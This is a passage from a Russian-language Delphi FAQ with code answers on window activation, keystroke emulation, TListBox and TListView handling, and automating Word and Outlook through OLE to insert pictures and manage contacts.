name.  This is especially useful for ensuring a window is active before
sending it input messages using the SendKeys function.  You can specify
a window's name in its entirety, or only portion of it, beginning from
the left.
} var
  WindowHandle : HWND; function EnumWindowsProc(WHandle: HWND; lParam: LPARAM): BOOL; export; stdcall;
const
  MAX_WINDOW_NAME_LEN = 80;
var
  WindowName : array[0..MAX_WINDOW_NAME_LEN] of char;
begin
  {Can't test GetWindowText's return value since some windows don't have a title}
  GetWindowText(WHandle,WindowName,MAX_WINDOW_NAME_LEN);
  Result := (StrLIComp(WindowName,PChar(lParam), StrLen(PChar(lParam))) <> 0);
  If (not Result) then WindowHandle:=WHandle;
end; function AppActivate(WindowName : PChar) : boolean;
begin
  try
    Result:=true;
    WindowHandle:=FindWindow(nil,WindowName);
    If (WindowHandle=0) then EnumWindows(@EnumWindowsProc,Integer(PChar(WindowName)));
    If (WindowHandle<>0) then begin
      SendMessage(WindowHandle, WM_SYSCOMMAND, SC_HOTKEY, WindowHandle);
      SendMessage(WindowHandle, WM_SYSCOMMAND, SC_RESTORE, WindowHandle);
    end else Result:=false;
  except
    on Exception do Result:=false;
  end;
end; end.
К заголовку




Эмуляция нажатия клавиши?
=== 1 ===
Внутри приложения это выполняется достаточно просто с помощью вызова функции Windows API SendMessage()
(можно воспользоваться и методом Perform того объекта (или формы), кому посылается сообщение о нажатой клавише).
Код

   Memo1.Perform(WM_CHAR, Ord('A'), 0);
или
  SendMessage(Memo1.Handle, WM_CHAR, Ord('A'), 0);

приведет к печати символа "A" в объекте Memo1

=== 2 ===
В обработчике OnClick
  keybd_event(VK_F2,0,0,0);
  keybd_event(VK_F2,0,KEYEVENTF_KEYUP,0);
  keybd_event(VK_MENU,0,0,0);
  keybd_event(VK_DOWN,0,0,0);
  keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);
  keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
Это то же самое, что нажать F2, а затем Alt+Стрелка Вниз.
К заголовку




TListBox перетаскивание элементов мышью
procedure TForm1.ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
accept:=true;
end;

procedure TForm1.ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
var Pos: TPoint;
begin
Pos.X:=X;
Pos.Y:=Y;
ListBox1.Items.Move(ListBox1.ItemIndex,ListBox1.ItemAtPos(Pos, true));
end;

надо еще: DragMode :=dmAutomatic;
ну и конечно надо проверки на собственный объект делать.

(c) Leg

А еще неплохо-бы показывать, куда вставляется строчка, и не давать уносить далеко...

Implementation
{$R *.DFM}
uses CommCtrl;
 procedure TForm1.ListBox1DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean);
begin
  Accept:=(Sender=Source);
  with Sender as TListBox do
 DrawInsert(Parent.Handle,Handle, ItemAtPos(Point(X,Y), True));
end;


 procedure TForm1.ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
begin
  with (Sender as TListBox) do begin
    Items.Move(ItemIndex, ItemAtPos(Point(X,Y), True));
    Parent.Refresh;
  end;
  ClipCursor(nil);
end;
 procedure TForm1.ListBox1StartDrag(Sender: TObject; var DragObject: TDragObject);
var R:TRect;
begin
  R:=(Sender as TControl).ClientRect;
  with (Sender as TControl).ClientOrigin do OffsetRect(R,x,y);
  ClipCursor(@R);
end;
procedure TForm1.ListBox1EndDrag(Sender, Target: TObject; X, Y: Integer);
begin
  ClipCursor(nil);
end;
К заголовку




Как добавить горизонтальную полосу прокрутки в TListBox?
Компонент VCL TListBox автоматически реализует вертикальную полосу прокрутки.
Полоска прокрутки появляется, когда окно списка слишком мало для показа всех
элементов списка. Однако окно списка не показывает горизонтальной полосы
прокрутки,
когда какие-либо элементы списка имеют большую ширину, чем само окно списка.
Конечно, есть возможность добавить горизонтальную полосу прокрутки.
Добавьте следующий код в обработчик события OnCreate Вашей формы:

procedure TForm1.FormCreate(Sender: TObject);
var
  i, MaxWidth: integer;
begin
  MaxWidth := 0;
  for i := 0 to ListBox1.Items.Count - 1 do
    if MaxWidth < ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]) then
      MaxWidth := ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]);
    SendMessage(ListBox1.Handle, LB_SETHORIZONTALEXTENT, MaxWidth+2, 0);
end;

Этот код находит ширину, в пикселах, самой длинной строки в окне списка.
Затем он использует сообщение LB_SETHORIZONTALEXTENT для установки
горизонтальной
прокручиваемой ширины, в пикселах, для окна списка. Два дополнительных пиксела
добавлены к MaxWidth, чтобы сдвинуть оконечные символы от правой границы окна
списка.
К заголовку




Отображение полных строк списка при перемещении мыши по списку?
Текст формы примера :

object MainForm: TMainForm
  Left = 7
  Top = 121
  Width = 200
  Height = 157
  Hint = '34534535'
  Caption = 'Long hints'
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -13
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  ShowHint = True
  OnCreate = FormCreate
  PixelsPerInch = 120
  TextHeight = 16
  object ListBox1: TListBox
    Left = 12
    Top = 12
    Width = 165
    Height = 97
    Hint = '1|2'
    ItemHeight = 16
    Items.Strings = (
      '1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'
      'A1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'
      '1234567890'
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
      'ABCD')
    ParentShowHint = False
    ShowHint = True
    TabOrder = 0
    OnMouseMove = ListBox1MouseMove
  end
end


Текст модуля :

unit Main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TMainForm = class(TForm)
    ListBox1: TListBox;
    procedure FormCreate(Sender: TObject);
    procedure ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
  private
    { Private declarations }
    FHintRow : Integer; // Номер строки в списке, на которую указывает мышь

  public
    { Public declarations }
    // Обработчик подсказок
    procedure OnShowHint(var HintStr: string;
                         var CanShow: Boolean;
                         var HintInfo: THintInfo);
  end;

var
  MainForm: TMainForm;

implementation

{$R *.DFM}

procedure TMainForm.FormCreate(Sender: TObject);
begin
  FHintRow := -1;
  Application.OnShowHint := OnShowHint; // Установка обработчика
end;

procedure TMainForm.OnShowHint(var HintStr: string;
                               var CanShow: Boolean;
                               var HintInfo: THintInfo);
Var Pos : TPoint;
begin
  with HintInfo do
      if HintControl is TListBox then     // Проверка на нужный объект
         with HintControl as TListBox do
           begin
             Pos.X := 0;
             Pos.Y := ListBox1.Tag;
             HintPos := ListBox1.ClientToScreen(Pos);
             HintStr := ListBox1.Hint;
           end;
end;

procedure TMainForm.ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
var MousePos : TPoint;
    ItemPos  : TRect;
    RowWidth, ItemNum  : Integer;
    FHint    : String;
begin
  MousePos.X := X;
  MousePos.Y := Y;
  ItemNum := ListBox1.ItemAtPos(MousePos, True); // Определение номера строки в списке

  if (ItemNum <> FHintRow) then   // Проверка на перемещение мыши на другую строку
     begin
       FHintRow := ItemNum;
       if ItemNum <> -1 then      // Проверка на наличие элементов в списке
          begin
            ItemPos := ListBox1.ItemRect(ItemNum);

            Application.CancelHint; // Снять текущую подсказку
            ListBox1.Tag := ItemPos.Top; // Запоминаем позицию строки по вертикали

            FHint := ListBox1.Items[ItemNum];

            // Проверка на ширину строки
            RowWidth := ListBox1.Canvas.TextWidth( FHint );
            if (RowWidth > ListBox1.ClientWidth)
               then FHint := FHint + '|'
               else FHint := '';

            ListBox1.Hint := FHint;
          end
       else begin ListBox1.Hint := '';
                  Application.CancelHint;
                  ListBox1.Tag := -1; end;
     end
end;

end.

Текст проекта :

program PrjHint;

uses
  Forms,
  Main in 'Main.pas' {MainForm};

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(TMainForm, MainForm);

  Application.ShowHint := True;
  Application.HintPause := 100;
  Application.HintHidePause := 999999;

  Application.Run;
end

К заголовку




Программная прокрутка (Scroll) в Listbox?
Обратите внимание на сообщение LB_SETTOPINDEX из Windows API. Пошлите его соответствующему listbox

     SendMessage(ListBox.Handle,lb_SetTopIndex,10,0);

После этого одиннадцатое значение из списка станет первым видимым.
К заголовку




Сортировка в TlistView. Прорисовка треугольничков
Как сделать сортировку при клике по заголовку TListView и как рисуются треугольнички в заголовке, показывающие направление
сортировки?

С точки зрения WinAPI сортировка достигается посылкой List View сообщения LVM_SORTITEMS.
В Delphi это регулируется свойством ListView.SortType и событием ListView.OnCompare. Запоминать по какому именно столбцу
кликнули придется самому (и учитывать это в OnCompare).

С точки зрения WinAPI это достигается подключением Image List через LVM_SETIMAGELIST + LVSIL_SMALL. А также посылкой
сообщения LVM_SETCOLUMN с маской LVCF_IMAGE в структуре LVCOLUMN.
В Delphi подключаешь к ListView объект ImageList как SmallImages. Тогда появление значка в column header регулируется значением
ListColumn.ImageIndex.

Примечание: Для всех этих красот версия сomсtl32.dll должна быть 4.70 или выше.
К заголовку




Delphi / MS Office 97 / OLE / VB для приложений
Здесь мы ответим на действительно интересные вопросы:
Как узнать, установлен ли Word 8 на машине клиента?
Где расположены шаблоны?
Почему запускается все время новый документ, когда я хочу работать в том же?
Как найти документ, с которым пользователь работал в последнее время?
Почему Word закрывается после завершения моей процедуры?
Как мне добраться до папок программы Outlook?
Как в Outlook получить доступ к существующему контакту или создать свой?


--------------------------------------------------------------------------------
    {--------------------Взято из библиотеки типов--------------- WORDDEC.INC}
Const
// OlAttachmentType

olByValue = 1;
olByReference = 4;
olEmbeddedItem = 5;
olOLE = 6;
// OlDefaultFolders

olFolderDeletedItems = 3;
olFolderOutbox = 4;
olFolderSentMail = 5;
olFolderInbox = 6;
olFolderCalendar = 9;
olFolderContacts = 10;
olFolderJournal = 11;
olFolderNotes = 12;
olFolderTasks = 13;
// OlFolderDisplayMode

olFolderDisplayNormal = 0;
olFolderDisplayFolderOnly = 1;
olFolderDisplayNoNavigation = 2;
// OlInspectorClose

olSave = 0;
olDiscard = 1;
olPromptForSave = 2;
// OlImportance

olImportanceLow = 0;
olImportanceNormal = 1;
olImportanceHigh = 2;
// OlItems

olMailItem = 0;
olAppointmentItem = 1;
olContactItem = 2;
olTaskItem = 3;
olJournalItem = 4;
olNoteItem = 5;
olPostItem = 6;
// OlSensitivity

olNormal = 0;
olPersonal = 1;
olPrivate = 2;
olConfidential = 3;
// OlJournalRecipientType;

olAssociatedContact = 1;
// OlMailRecipientType;

olOriginator = 0;
olTo = 1;
olCC = 2;
olBCC = 3;

Const

wdGoToBookmark = -1;
wdGoToSection = 0;
wdGoToPage = 1;
wdGoToTable = 2;
wdGoToLine = 3;
wdGoToFootnote = 4;
wdGoToEndnote = 5;
wdGoToComment = 6;
wdGoToField = 7;
wdGoToGraphic = 8;
wdGoToObject = 9;
wdGoToEquation = 10;
wdGoToHeading = 11;
wdGoToPercent = 12;
wdGoToSpellingError = 13;
wdGoToGrammaticalError = 14;
wdGoToProofreadingError = 15;


wdGoToFirst = 1;
wdGoToLast = -1;
wdGoToNext = 2;   //интересно,
wdGoToRelative = 2;  //чем отличаются эти две константы?
wdGoToPrevious = 3;
wdGoToAbsolute = 1;

Основные функции:



--------------------------------------------------------------------------------
    Function GetWordUp(StartType : string):Boolean;
Function InsertPicture(AFileName : String) : Boolean;
Function InsertContactInfo(MyId : TMyId; MyContId : TMyContId): Boolean;
Function GetOutlookUp(ItemType : Integer): Boolean;
Function MakeOutLookContact(MyId : TMyId; MyContId : TMyContId) : Boolean;
Function ImportOutlookContact : Boolean;
Function GetOutlookFolderItemCount : Integer;
Function GetThisOutlookItem(AnIndex : Integer) : Variant;
Function FindMyOutlookItem(AFilter : String; var AItem : Variant) :Boolean;
Function FindNextMyOutlookItem(var AItem : Variant) : Boolean;
Function CloseOutlook : Boolean;

Type TTreeData = class(TObject)

Public
ItemId : String;
end;



--------------------------------------------------------------------------------
    {$I worddec.inc} {все константы из библиотеки типов тащим с собой}

Var

myRegistry : TRegistry;
GotWord : Boolean;
WhereIsWord : String;
WordDoneMessage : Integer;
Basically : variant;
Wordy: Variant;
MyDocument : Variant;
MyOutlook : Variant;
MyNameSpace : Variant;
MyFolder : Variant;
MyAppointment : Variant;



Function GetWordUp(StartType : string):Boolean;
// Запускаем Word "правильным" на мой взгляд способом
// после старта Word мы сделаем так, чтобы после завершения приложения он остался открытым
var   i : integer;

AHwnd : Hwnd;
AnAnswer : Integer;
temp : string;
MyDocumentsCol : Variant;
TemplatesDir : Variant;
OpenDialog1 : TopenDialog;

begin

result := false;
myRegistry := Tregistry.Create;
myRegistry.RootKey := HKEY_LOCAL_MACHINE;
// никакого "word 8", никакой функции!

If myRegistry.KeyExists('SOFTWARE\Microsoft\Office\8.0\Word')
then
GotWord := true
Else
GotWord := false;
If GotWord then
//где он, черт побери?

If myRegistry.OpenKey('SOFTWARE\Microsoft\Office\8.0', false) then
begin
WhereisWord := myRegistry.ReadString('BinDirPath');
MyRegistry.CloseKey;
end
else
GotWord := false;
If GotWord then
//и где эти надоевшие шаблоны?

Begin
MyRegistry.RootKey := HKEY_CURRENT_USER;
If
myRegistry.OpenKey('SOFTWARE\Microsoft\Office\8.0\Common\FileNew\SharedTemplates', false) then

Begin
TemplatesDir := myRegistry.ReadString(Nothing);
MyRegistry.CloseKey;
end
Else
Begin
Warning('Ole инсталляция','Шаблоны рабочей группы не установлены');
GotWord := false;
end;
End;
myRegistry.free;
If not gotword then
Begin
Warning('Ole дескриптор', 'Word не установлен');
exit;
end;
//это имя класса принадлежит главному окну в двух последних версиях Word

temp := 'OpusApp';
AHwnd :=  FindWindow(pchar(temp),nil);
If (AHwnd = 0) then
//Word не запущен, пробуем запустить пустую оболочку без документа

Begin
Temp := WhereisWord + '\winword.exe /n';
AnAnswer := WinExec(pchar(temp), 1);
If (AnAnswer < 32) then
Begin
Warning('Ole дескриптор', 'Не могу найти WinWord.exe');
Exit;
End;
End;


Application.ProcessMessages;
{Если вы уже используете Word.Application, вы получаете ваш собственный экземпляр}
{Если вы уже используете Word.Document, вы получаете работающий экземпляр}
{по-моему все понятно и очень удобно (во всяком случае мне)}

try {создаем новый документ}
Basically := CreateOleObject('Word.Document.8');
except
Warning('Ole дескриптор', 'Не могу запустить Microsoft Word.');
Result := False;
Exit;
end;
Try {ссылаемся в переменной вариантного на вновь созданный документ}
Wordy := Basically.Application;
Except
Begin
Warning('Ole дескриптор', 'Не могу получить доступ к Microsoft Word.');
Wordy := UnAssigned;
Basically := UnAssigned;
Exit;
end;
end;


Application.ProcessMessages;


Wordy.visible := false;
MyDocumentsCol := Wordy.Documents;
{Проверяем количество открытых документов и пытаемся вывести диалог выбора шаблона}

If (MyDocumentsCol.Count = 1) or
(StartType = 'New') then
Begin
OpenDialog1 := TOpenDialog.Create(Application);
OpenDialog1.filter := 'Шаблоны Word|*.dot|Документы Word|*.doc';
OpenDialog1.DefaultExt := '*.dot';
OpenDialog1.Title := 'Выберите ваш шаблон';
OpenDialog1.InitialDir := TemplatesDir;
If OpenDialog1.execute then
Begin
Wordy.ScreenUpdating:= false;
MyDocumentsCol := wordy.Documents;
MyDocumentsCol.Add(OpenDialog1.Filename, False);
OpenDialog1.free;
end
Else
begin
OpenDialog1.Free;
Wordy.visible := true;
Wordy := Unassigned;
Basically := Unassigned;
Exit;
end;
end
Else
{закрываем документ}

MyDocument.close(wdDoNotSaveChanges);

{теперь мы имеем или новый документ на основе шаблона, выбранного пользователем

или же его текущий документ}
MyDocument := Wordy.ActiveDocument;
Result := true;
Application.ProcessMessages;

end;

Function InsertPicture(AFileName : String) : Boolean;
var

MyShapes : Variant;
MyRange : variant;

begin

Result := True;
If GetWordUp('Current')then
Try
Begin
MyRange := MyDocument.Goto(wdgotoline, wdgotolast);
MyRange.EndOf(wdParagraph, wdMove);
MyRange.InsertBreak(wdPageBreak);
MyShapes := MyDocument.InlineShapes;
MyShapes.AddPicture(afilename, false, true, MyRange);
end;
Finally
begin
Wordy.ScreenUpdating:= true;
Wordy.visible := true;
Wordy := Unassigned;
Basically := UnAssigned;
Application.ProcessMessages;
end;
end
else
Result := False;

end;

Function InsertContactInfo(MyId : TMyId; MyContId : TMyContId) : Boolean;
var

MyCustomProps : Variant;
begin
{ лично я сначала сохраняю свою визитку в свойствах документа, а только
потом вывожу панели с инструментами для того, чтобы пользователь мог
"установить" принадлежность шаблона или текущего документа.

на мой взгляд здесь есть три достоинства (здесь нет подвохов, уверяю вас):
1. Пользователь может установить свои свойства документа после того,
как функция отработает
2. Другие свойства могут быть установлены в любом месте
того же документа
3. Пользователь может переслать эти свойства в тот же Outlook или с их
помощью найти документ, используя функции расширенного поиска Word}



Result := true;
If GetWordUp('New')then
Try
Begin
MyCustomProps := MyDocument.CustomDocumentProperties;
MyCustomProps.add(cpId, false, msoPropertyTypeString, MyId.Id);
MyCustomProps.add(cpOrganizationName,
false, msoPropertyTypeString, MyId.OrganizationName);
MyCustomProps.add(cpAddress1,
false, msoPropertyTypeString,MyId.Address1);
MyCustomProps.add(cpAddress2, false,
msoPropertyTypeString, MyId.Address2);
MyCustomProps.add(cpCity, false,
msoPropertyTypeString, MyId.City);
MyCustomProps.add(cpStProv, false,
msoPropertyTypeString, MyId.StProv);
MyCustomProps.add(cpCountry,
false, msoPropertyTypeString,MyId.City);
MyCustomProps.add(cpPostal, false,
msoPropertyTypeString, MyId.Country);
MyCustomProps.add(cpAccountId, false,
msoPropertyTypeString, MyId.AccountId);
MyCustomProps.add(cpFullName, false,
msoPropertyTypeString, MyContId.FullName);
MyCustomProps.add(cpSalutation, false,
msoPropertyTypeString, MyContId.Salutation);
MyCustomProps.add(cpTitle, false,
msoPropertyTypeString,MyContId.Title);
If (MyContId.workPhone = Nothing) or
(MycontId.WorkPhone = ASpace) then
MyCustomProps.add(cpPhone, false,
msoPropertyTypeString, MyId.Phone )
else
MyCustomProps.add(cpPhone, false,
msoPropertyTypeString, MyContId.WorkPhone );
If (MyContId.Fax = Nothing) or (MycontId.Fax = ASpace) then
MyCustomProps.add(cpFax, false,
msoPropertyTypeString, MyId.Fax)
else
MyCustomProps.add(cpFax, false,
msoPropertyTypeString,MyContId.Fax);
If (MyContId.EMail = Nothing) or (MycontId.Email = ASpace) then
MyCustomProps.add(cpEmail, false,
msoPropertyTypeString, MyId.Email)
else
MyCustomProps.add(cpEmail, false,
msoPropertyTypeString, MyContId.Email);
MyCustomProps.add(cpFirstName, false,
msoPropertyTypeString,MyContId.FirstName);
MyCustomProps.add( cpLastName, false,
msoPropertyTypeString, MyContId.LastName);
MyDocument.Fields.Update;
end;
Finally
begin
Wordy.ScreenUpdating:= true;
Wordy.visible := true;
Wordy := Unassigned;
Basically := UnAssigned;
Application.ProcessMessages;
end;
end
Else
Result := false;
end;

Function GetOutlookUp(ItemType : Integer): Boolean;
Const

AppointmentItem = 'Calendar';
TaskItem = 'Tasks';
ContactItem = 'Contacts';
JournalItem = 'Journal';
NoteItem = 'Notes';
var

MyFolders : Variant;
MyFolders2 : variant;
MyFolders3 : variant;
MyFolder2 : Variant;
MyFolder3 : variant;
MyUser : Variant;
MyFolderItems : Variant;
MyFolderItems2 : Variant;
MyFolderItems3 : Variant;
MyContact : Variant;
i, i2, i3 : Integer;
MyTree : TCreateCont;
MyTreeData : TTreeData;
RootNode, MyNode, MyNode2 : ttreeNode;
ThisName : String;

Begin

{это действительно безобразие........
В Outlook несколько странно реализована объектная модель,
и такие перлы как folder.folder.folder считаются "верным решением"
для получения доступа к папкам этой великолепной программы.}

{пользователь выбирает папку из дерева папок}


Result := False;
Case ItemType of
olAppointmentItem : ThisName := AppointmentItem;
olContactItem : ThisName := ContactItem;
olTaskItem : ThisName := TaskItem;
olJournalItem : ThisName := JournalItem;
olNoteItem : ThisName := NoteItem;
Else
ThisName := 'Unknown';
End;


try
MyOutlook := CreateOleObject('Outlook.Application');
except
warning('Ole интерфейс','Не могу запустить Outlook.');
Exit;
end;
{это папка верхнего уровня}
MyNameSpace := MyOutlook.GetNamespace('MAPI');
MyFolderItems := MyNameSpace.Folders;
MyTree := TCreateCont.create(Application);
{Действительно неудачно, ведь пользователь может создать что-то другое,
чем папки, предлагаемые по-умолчанию, на которые мы и хотели опереться
в нашей программе, поэтому перемещаемся на нижний уровень в цепочке папок}

MyTree.Caption := 'Выбрана ' + ThisName + ' папка';
With MyTree do
If MyFolderItems.Count > 0 then
For i := 1 to MyFolderItems.Count do begin
MyFolder := MyNameSpace.Folders(i);
MyTreeData := TTreeData.create;
MyTreeData.ItemId := MyFolder.EntryId;
RootNode := TreeView1.Items.AddObject(nil, MyFolder.Name, MyTreeData);
MyFolders2 := MyNameSpace.folders(i).Folders;
If MyFolders2.Count > 0 then
for i2 := 1 to MyFolders2.Count do begin
MyFolder2 := MyNameSpace.folders(i).Folders(i2);
If (MyFolder2.DefaultItemType = ItemType)
or (MyFolder2.Name = ThisName) then
Begin
MyTreeData := TTreeData.create;
MyTreeData.ItemId := MyFolder2.EntryId;
{вот мы и добрались непосредственно до папок}

MyNode :=
Treeview1.Items.addChildObject(RootNode, MyFolder2.Name, MyTreeData);

MyFolders3 :=
MyNameSpace.folders(i).Folders(i2).Folders;

If MyFolders3.Count > 0 then
for i3 := 1 to MyFolders3.Count do
begin
MyFolder3 := MyNameSpace.folders(i).Folders(i2).Folders(i3);
If (MyFolder3.DefaultItemType = ItemType) then
Begin
MyTreeData := TTreeData.create;
MyTreeData.ItemId := MyFolder3.EntryId;
MyNode2 :=
Treeview1.Items.addChildObject(MyNode, MyFolder3.Name, MyTreeData);

end;
end;
end;
end;
end;
If MyTree.TreeView1.Items.Count = 2 then
{есть только корневая папка и папка, определенная мной}

MyFolder :=
MyNameSpace.GetFolderFromID(TTreeData(MyTree.TreeView1.Items[1].Data).ItemId
)

Else
begin
MyTree.Treeview1.FullExpand;
MyTree.ShowModal;
If MyTree.ModalResult = mrOk then
Begin
If MyTree.Treeview1.Selected <> nil then
MyFolder :=
MyNameSpace.GetFolderFromID(TTreeData(MyTree.Treeview1.Selected.Data).ItemId
);

end
else
Begin
MyOutlook := UnAssigned;
For i:= MyTree.Treeview1.Items.Count -1 downto 0 do
TTreeData(MyTree.Treeview1.Items[i].Data).free;
MyTree.release;
exit;
end;
end;
For i:= MyTree.Treeview1.Items.Count -1 downto 0 do
TTreeData(MyTree.Treeview1.Items[i].Data).free;
MyTree.release;
Result := true;
end;

Function MakeOutlookContact(MyId : TMyId; MyContId : TMyContId) : boolean;
var      MyContact : Variant;
begin

Result := false;
If not GetOutlookUp(OlContactItem)
then exit;
MyContact := MyFolder.Items.Add(olContactItem);
MyContact.Title := MyContId.Honorific;
MyContact.FirstName := MyContId.FirstName;
MyContact.MiddleName := MycontId.MiddleInit;
MyContact.LastName := MycontId.LastName;
MyContact.Suffix := MyContId.Suffix;
MyContact.CompanyName := MyId.OrganizationName;
MyContact.JobTitle := MyContId.Title;
MyContact.OfficeLocation := MyContId.OfficeLocation;
MyContact.CustomerId := MyId.ID;
MyContact.Account := MyId.AccountId;
MyContact.BusinessAddressStreet := MyId.Address1 + CRLF + MyId.Address2;
MyContact.BusinessAddressCity := MyId.City;
MyContact.BusinessAddressState := MyId.StProv;
MyContact.BusinessAddressPostalCode := MyId.Postal;
MyContact.BusinessAddressCountry := MyId.Country;
If (MyContId.Fax = Nothing) or (MyContId.Fax = ASpace) then
MyContact.BusinessFaxNumber := MyId.Fax
Else
MyContact.BusinessFaxNumber := MyContId.Fax;
If (MyContId.WorkPhone = Nothing) or (MyContId.WorkPhone = ASpace)
then

MyContact.BusinessTelephoneNumber := MyId.Phone
Else
MyContact.BusinessTelephoneNumber := MyContId.WorkPhone;
MyContact.CompanyMainTelephoneNumber := MyId.Phone;
MyContact.HomeFaxNumber := MyContId.HomeFax;
MyContact.HomeTelephoneNumber := MyContId.HomePhone;
MyContact.MobileTelephoneNumber := MyContId.MobilePhone;
MyContact.OtherTelephoneNumber := MyContId.OtherPhone;
MyContact.PagerNumber := MyContId.Pager;
MyContact.Email1Address := MyContId.Email;
MyContact.Email2Address := MyId.Email;
Result := true;
Try MyContact.Save;
Except
Result := false;
end;
MyOutlook := Unassigned;

end;

Function GetThisOutlookItem(AnIndex : Integer) : Variant;
Begin

Result := myFolder.Items(AnIndex);
end;

Function GetOutlookFolderItemCount : Integer;
Var myItems : Variant;
Begin

Try MyItems := MyFolder.Items;
Except
Begin
Result := 0;
exit;
end;
end;
Result := MyItems.Count;
end;

Function FindMyOutlookItem(AFilter : String; var AItem : Variant) :
Boolean;
Begin
{не забудьте предварительно инициализировать AItem значением NIL}

Result := true;
Try
AItem := myFolder.Items.Find(AFilter);
Except
Begin
aItem := MyFolder;
Result := false;
end;
End;

End;

Function FindNextMyOutlookItem(var AItem : Variant) : Boolean;
Begin

Result := true;
Try
AItem := myFolder.Items.FindNext;
Except
Begin
AItem := myFolder;
Result := false;
end;
End;
End;


Function CloseOutlook : Boolean;
begin

Try MyOutlook := Unassigned;
Except
End;
Result := true;

end;

Как использовать весь этот код?
Вот модуль для работы с Контактами программы Outlook.
Строим расширенный список контактов (компонент TExtListView вы можете найти на www.torry.ru).



--------------------------------------------------------------------------------
    unit UImpContact;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
UMain, StdCtrls, Buttons, ComCtrls, ExtListView;

type

TFindContact = class(TForm)
ContView1: TExtListView;
SearchBtn: TBitBtn;
CancelBtn: TBitBtn;
procedure SearchBtnClick(Sender: TObject);
procedure CancelBtnClick(Sender: TObject);
procedure ContView1DblClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;

var

FindContact: TFindContact;

implementation
Uses USearch;

{$R *.DFM}

procedure TFindContact.SearchBtnClick(Sender: TObject);
begin

If ContView1.Selected <> nil then
ContView1DblClick(nil);
end;

procedure TFindContact.CancelBtnClick(Sender: TObject);
begin

CloseOutlook;
ModalResult := mrCancel;
end;

procedure TFindContact.ContView1DblClick(Sender: TObject);
var MyContact : variant;
begin

If ContView1.Selected <> nil then Begin
MyContact := GetThisOutlookItem(StrToInt(ContView1.Selected.subitems[2]));
With StartForm.MyId do
If Not GetData(MyContact.CustomerId) then begin
InitData;
If MyContact.CustomerId <> '' then
Id := MyContact.CustomerId
Else
Id := MyContact.CompanyName;
If DoesIdExist(Startform.MyId.Id) then begin
Warning('Дескриптор данных', 'Не могу установить уникальный Id' + CRLF
+ 'Отредактируйте CustomerId в Outlook и попытайтесь снова');
CloseOutlook;
ModalResult := mrCancel;
Exit;
end;
OrganizationName := MyContact.CompanyName;
IdType := 1;
AccountId := MyContact.Account;
Address1 := MyContact.BusinessAddressStreet;
City := MyContact.BusinessAddressCity;
StProv := MyContact.BusinessAddressState ;
Postal := MyContact.BusinessAddressPostalCode;
Country := MyContact.BusinessAddressCountry;
Phone := MyContact.CompanyMainTelephoneNumber;
Insert;
end;
With StartForm.MyContId do begin
InitData;
ContIdId := StartForm.MyId.Id;
Honorific := MyContact.Title ;
FirstName := MyContact.FirstName ;
MiddleInit := MyContact.MiddleName ;
LastName := MyContact.LastName ;
Suffix := MyContact.Suffix ;
Fax :=    MyContact.BusinessFaxNumber ;
WorkPhone :=   MyContact.BusinessTelephoneNumber;
HomeFax := MyContact.HomeFaxNumber ;
HomePhone := MyContact.HomeTelephoneNumber ;
MobilePhone := MyContact.MobileTelephoneNumber ;
OtherPhone := MyContact.OtherTelephoneNumber ;
Pager := MyContact.PagerNumber ;
Email := MyContact.Email1Address ;
Title := MyContact.JobTitle;
OfficeLocation := MyContact.OfficeLocation ;
Insert;
End;
end;
CloseOutlook;
ModalResult := mrOk;

end;

procedure TFindContact.FormCreate(Sender: TObject);
var      MyContact : Variant;

MyCount : Integer;
i : Integer;
AnItem : TListItem;
begin

If not GetOutlookUp(OlContactItem)
then exit;
MyCount := GetOutlookFolderItemCount ;
For i := 1 to MyCount do begin
MyContact := GetThisOutlookItem(i);
AnItem := ContView1.Items.Add;
AnItem.Caption := MyContact.CompanyName;
AnItem.SubItems.add(MyContact.FirstName);
AnItem.Subitems.Add(MyContact.LastName);
AnItem.SubItems.Add(inttostr(i));
End;

end;

procedure TFindContact.FormClose(Sender: TObject;

var Action: TCloseAction);
begin

Action := cafree;
end;

end.

К заголовку




Как мне работать с файлами MS Word или таблицами Excel?
Воспользоваться функцией CreateOLEObject и работать с VBA или WordBasic.
NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name :=
'myname.doc');
Пример проверен только на Word 7.0 (рус) !!! Вот, может поможет...
unit InWord;
interface
uses
... ComCtrls; // Delphi3
... OLEAuto; // Delphi2
[skip]
procedure TPrintForm.MPrintClick(Sender: TObject);
var W: Variant;
S: String;
begin
S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи
// в var у меня не пошло :(
try // А вдруг где ошибка :)
W:=CreateOleObject('Word.Basic');
// Создаем документ по шаблону MyWordDot
// с указанием пути если он не в папке шаблонов Word
W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0);
// Отключение фоновой печати (на LJ5L без этого был пустой лист)
W.ToolsOptionsPrint(Background:=0);
// Переходим к закладке Word'a 'Num'
W.EditGoto('Num'); W.Insert(S);
//Сохранение
W.FileSaveAs('C:\MayPath\Reports\MyReport')
W.FilePrint(NumCopies:='2'); // Печать 2-х копий
finally
W.ToolsOptionsPrint(Background:=1);
W:=UnAssigned;
end;
end;
К заголовку




Добавление картинки (BitMap) в меню.?
Для добавления в меню картинки можно использовать функцию API Windows SetMenuItemBitmaps(), например, следующим образом:

implementation

var
BMP1, BMP2 : TBitMap;

